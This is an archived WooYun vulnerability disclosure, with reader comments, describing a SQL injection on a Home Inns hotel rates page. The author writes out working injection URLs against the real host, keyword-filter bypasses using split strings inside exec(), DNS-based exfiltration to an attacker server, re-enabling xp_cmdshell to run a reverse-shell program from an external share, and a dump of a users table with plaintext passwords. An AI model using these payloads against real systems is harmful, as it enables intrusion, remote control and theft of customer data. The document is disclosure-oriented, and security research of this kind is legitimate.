当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044473

漏洞标题:如家某处一个经典SQL注射

相关厂商:如家酒店集团

漏洞作者: sql

提交时间:2013-11-30 01:11

修复时间:2014-01-14 01:12

公开时间:2014-01-14 01:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-30: 细节已通知厂商并且等待厂商处理中
2013-12-01: 厂商已经确认,细节仅向厂商公开
2013-12-11: 细节向核心白帽子及相关领域专家公开
2013-12-21: 细节向普通白帽子公开
2013-12-31: 细节向实习白帽子公开
2014-01-14: 细节向公众公开

简要描述:

rt

详细说明:

本吊昨天发现如家一个注入点,感觉这个点应该是被基友日过,然后被如家给补了。
但是没补好,还是漏了一点点空给我。
于是我想好好利用这个点,做点事情。
既然是周末,那么本吊就不怕明天上课迟到了,先日站,再离线迅雷看片,然后大家都懂的。
注入点是这个
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023' and 'a'='a
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023' and 'a'='b
明显的一个错误,一个正确。
那么就是典型的字符型SQL注入。
但是我用SQLMAP没跑出来。
于是只好本吊亲自上阵了,很久没亲自操刀了,感觉很陌生得慌。
因为是aspx 所以感觉是mssql
就先执行了这个:
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'and(select count(*) from sysobjects)>0

bb1.jpg


警告!你的IP已经被记录!不要使用敏感字符!
于是我知道了,过滤了select
后来经测试,还过滤了 master declare等关键字。
并且 令人蛋疼的是 错误提示关闭。没办法爆错显信息啊。
大家肯定说那你openrowset吧。
我也知道这么弄,可sqlserver 2005以上默认是关闭的。还是先判断数据库版本吧。
执行
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'and substring((select @@version),23,4)='2000'and'a'='a
返回错误。
说明不是mssql2000
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'substring((@@version),22,4)='2005'and'a'='a
这个也返回错误
说明不是mssql2005
后来检测到是mssql2008.
然后检测一下权限。
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023' and IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)=1 and 'a'='a
返回正常
竟然是sa。 我瞬间释然了。现在还能碰到sa啊 看来应该可以拿下了。
现在就剩绕过ids了。
经检测exec没有过滤,那么可以使用exec(sql语句的方式)
exec('sel'+'ect @@version);这样就绕过IDS了。哈哈
其实这里有个快速获取数据库信息的方法
刚好 基友有个VPS 我们就试了一下。
就是利用dns解析得到 想要的数据。
执行
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'exec('ba'%2b'ckup+lo'%2b'g+ma'%2b'ster+to+di'%2b'sk=''\\'%2b@@servername%2b'.xxx.xxx\a'';')--
然后我再VPS监听
就得到@@servername的信息了。

aaa.jpg


获取到是 :R021RJSH00223S2
通过这样的方法可以获取你想要的信息
不过这里既然是sa,那么 就不费劲了。
直接用exec()的方式执行任何sql语句。
恢复xp_cmshell
然后直接反向链接程序,就弹回来了。
这里我执行的是
http://rates.homeinns.com/Mains.aspx?city=beijing@&hotel=010023'exec('ex'%2b'ec+ma'%2b'ster..x'%2b'p_cm'%2b'dshell''\\1.1.1.1\pub\ma.exe''')--
直接把反弹程序放在vps就行了
当然这里vps是配置共享服务,开放445什么的 大家都懂的。

aa1.jpg


这是弹回来的图。

aa2.jpg


这是C盘,貌似有别人的马,看来被日过了。

aaa3.jpg


这是备份的数据库。
然后我在cmd执行sql语句看下数据库的内容
具体是这样的:
osql /E /Q "select @@version"
osql /E /Q "select name from sysdatabases where dbid>4"
这样可以直接在命令行执行sql语句的。

aaa4.jpg


这是其中一个表的内容
D:\>osql /E /Q "use customer;select * from users"
osql /E /Q "use customer;select * from users"
ID UserCode
UserName UserPassword
UserEmail RoleCode
Flag
----------- --------------------
-------------------------------------------------- --------------
-------------------------------------------------- --------------
----
3 1001
admin 111111
1001
1
4 1002
ceshi 111111
1002
1
5 1003
3333 111111
这是D盘:

aa6666.jpg


其实呢,我已经有数据库服务器的管理员权限了
可以轻松把所有数据库COPY到我的vps里面。
也可以给数据库服务器装木马,干什么都行。
所以就到此为止吧。

漏洞证明:

同上
(有个小错误修改了下,有一个图抹掉了漏点 ,求通过)

修复方案:

要补就不要留下空隙嘛。

版权声明:转载请注明来源 sql@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2013-12-01 22:34

厂商回复:

感谢关注!

最新状态:

暂无


漏洞评价:

评论

  1. 2013-11-30 02:29 | 校长 ( 实习白帽子 | Rank:40 漏洞数:10 | 本人受《中华人民共和国未成年人保护法》《...)

    如家这是怎么了

  2. 2013-11-30 02:31 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @校长 如家什么怎么了。

  3. 2013-11-30 02:37 | 校长 ( 实习白帽子 | Rank:40 漏洞数:10 | 本人受《中华人民共和国未成年人保护法》《...)

    @Mosuan 你还没睡

  4. 2013-11-30 12:38 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    注入被雷劈的少见,关注~

  5. 2013-11-30 12:52 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    @小胖子 如家嘛,你懂得,肯定是什么信息泄露嘛

  6. 2013-11-30 13:41 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    这被劈是有内幕吗?

  7. 2013-11-30 16:07 | xlz0iza1 ( 普通白帽子 | Rank:1027 漏洞数:207 | "><script/src=data:,alert(1)%2b")

    @sql 看样子十一月份的最佳撸主非你莫属了.

  8. 2013-12-01 23:01 | Master ( 路人 | Rank:29 漏洞数:10 )

    牛b。。。。。。坐等细节。。。。

  9. 2013-12-02 10:07 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    坐等细节!

  10. 2013-12-02 12:44 | 校长 ( 实习白帽子 | Rank:40 漏洞数:10 | 本人受《中华人民共和国未成年人保护法》《...)

    @小胖子 小胖最近可好

  11. 2013-12-02 15:01 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    @校长 园长变校长了!?

  12. 2013-12-03 22:03 | 校长 ( 实习白帽子 | Rank:40 漏洞数:10 | 本人受《中华人民共和国未成年人保护法》《...)

    @小胖子 校长来慰问小胖 ,私信地址给你寄礼物

  13. 2013-12-22 10:54 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    DNS那招确实高明,VPS监听来路日志就行了,sql语句被执行后再连接的VPS,学习了。

  14. 2013-12-22 17:22 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    真恨自己当年为啥不好好学习,膜拜膜拜楼主

  15. 2014-01-01 14:37 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    居然才给7;?

  16. 2014-01-01 22:30 | 剑无名 ( 普通白帽子 | Rank:146 漏洞数:32 | 此剑无名。)

    不是说过滤了select吗,你的版本2008是咋select出来的?@sql

  17. 2014-05-14 20:40 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    这招就在书里见过。。。,怒赞LZ

  18. 2015-03-04 00:29 | F4K3R ( 普通白帽子 | Rank:297 漏洞数:31 | 学习)

    @luwikes 啥书?求名字!

  19. 2015-03-09 09:50 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    @剑无名 我也看到这个问题了!

  20. 2015-03-09 10:22 | sql 认证白帽子 ( 核心白帽子 | Rank:1127 漏洞数:145 | 带着两个MM(mysql,mssql),玩3p(asp,php...)

    select去掉也行,@@version是全局变量。我编辑后没给我改过来。看的懂的人永远不会问这么有幼稚的问题。怎么说呢?本来不想回答,最近老有人在那挑刺,麻烦你挑刺的时候认真看一下,下面那句不就没有select吗?

  21. 2015-03-12 12:27 | 宁波理工的小白菜 ( 路人 | Rank:0 漏洞数:1 | 我是个菜鸟)

    知识点看都看不懂啊。

  22. 2015-03-16 16:14 | ice ( 路人 | Rank:0 漏洞数:1 | inevitable...)

    呵呵

  23. 2015-03-16 17:44 | sin ( 实习白帽子 | Rank:38 漏洞数:2 | 寻找最优雅的解决方案)

    学习了.